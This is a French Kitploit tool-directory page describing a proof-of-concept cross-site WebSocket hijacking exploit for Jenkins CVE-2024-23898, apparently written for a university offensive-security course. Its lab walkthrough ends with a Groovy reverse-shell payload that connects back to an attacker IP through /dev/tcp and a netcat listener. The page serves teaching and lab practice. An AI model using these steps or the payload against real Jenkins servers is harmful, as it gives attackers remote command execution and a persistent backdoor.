Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE2_Jenkins_RCE — Un exploit de détournement de WebSocket intersite (cross-site WebSocket hijacking) de type preuve de concept pour CVE-2024-23898 — une vulnérabilité affectant Jenkins versions 2.217 à 2.441. À des fins éducatives dans le cours Hacking & Offensive Security à l'université Carnegie Mellon. | Kitploit
Outils/GitHubGitHub/davidmgaviria/cve2_jenkins_rce
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationRed Teaming
GitHubdavidmgaviria/cve2_jenkins_rce

CVE2_Jenkins_RCE

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Un exploit de détournement de WebSocket intersite (cross-site WebSocket hijacking) de type preuve de concept pour CVE-2024-23898 — une vulnérabilité affectant Jenkins versions 2.217 à 2.441. À des fins éducatives dans le cours Hacking & Offensive Security à l'université Carnegie Mellon.

2il y a 1 anPas encore vérifié
Partager

Détournement WebSocket CLI Jenkins - PoC

Un exploit de preuve de concept de détournement WebSocket cross-site pour CVE-2024-23898 — une vulnérabilité affectant les versions de Jenkins 2.217-2.441.

Cet exploit cible le CLI Jenkins qui peut être utilisé pour accéder à distance et exécuter des commandes sur un serveur de contrôle Jenkins. Grâce à cet exploit, un attaquant distant peut obtenir un accès et établir une porte dérobée persistante sur un serveur de contrôle Jenkins si un administrateur est amené à visiter un site malveillant alors qu'il est connecté au serveur de contrôle Jenkins cible.


AVERTISSEMENT

Ce code est destiné uniquement à des fins éducatives et exclusivement pour le cours de Hacking & Offensive Security de l'Université Carnegie Mellon. Ce code ne doit pas être transformé en arme ou autrement utilisé pour créer des logiciels malveillants. Les auteurs condamnent explicitement toute tentative en ce sens.


Configuration de Jenkins

  • Exécutez "docker-compose build && docker-compose up -d"
  • Accédez à http://localhost:8080, vous serez invité à entrer un mot de passe administrateur
  • Ouvrez un shell dans le conteneur Docker Jenkins (PAS CELUI DE POSTGRES)
    • "docker exec -it <container_id> bash"
    • cd vers le répertoire indiqué sur la page Jenkins, obtenez le mot de passe
  • Configurez un compte administrateur de base (retenez le mot de passe) et installez les plugins par défaut
  • Configurez les utilisateurs anonymes avec des permissions de base en allant dans Manage Jenkins > Security
    • Définissez le type d'autorisation sur "Matrix-based"
    • Autorisez les utilisateurs anonymes à lire "Overall" et "Job"

Réalisation du détournement WebSocket

  • Ouvrez Firefox, allez dans Paramètres > Confidentialité et sécurité
    • Définissez la confidentialité du navigateur sur personnalisé, désactivez les cookies (cela permet à Firefox d'accepter tous les cookies)
  • Allez sur Jenkins, connectez-vous en tant qu'administrateur, en veillant à cliquer sur "Keep me signed in"
  • Lancez evilApp.py, en visitant http://localhost:5000
    • Allez dans l'onglet Réseau et appuyez sur Actualiser
    • Cliquez sur le paquet avec le fichier "ws" et allez dans Réponse, vous devriez voir qu'il indique "Authenticated as: admin"
      • Vous pouvez également vérifier "Cookies" pour voir le cookie remember-me

Exécution d'un shell inversé

  • Dans le terminal de votre machine, démarrez un écouteur netcat avec nc -l <port_num> (remplacez <port_num> par tout numéro de port inutilisé)
  • Vous devez obtenir l'adresse IP de votre ordinateur telle que vue par Docker. Sur Mac, vous pouvez la trouver avec la commande ipconfig getifaddr en0
  • En supposant que votre serveur Jenkins est en cours d'exécution, allez à [http://localhost:8080/script](http://localhost:8080/script). Connectez-vous avec le compte administrateur si ce n'est pas déjà fait.
  • Collez et exécutez cette charge utile dans la console de script Groovy : ['bash', '-c', 'bash -i >& /dev/tcp/<attacker_ip>/<port_num> 0>&1'].execute()
  • Revenez au terminal avec l'écouteur netcat. Vous devriez être dans le système de fichiers du serveur Jenkins et capable de faire tout ce que l'utilisateur administrateur peut faire.
Télécharger l’outil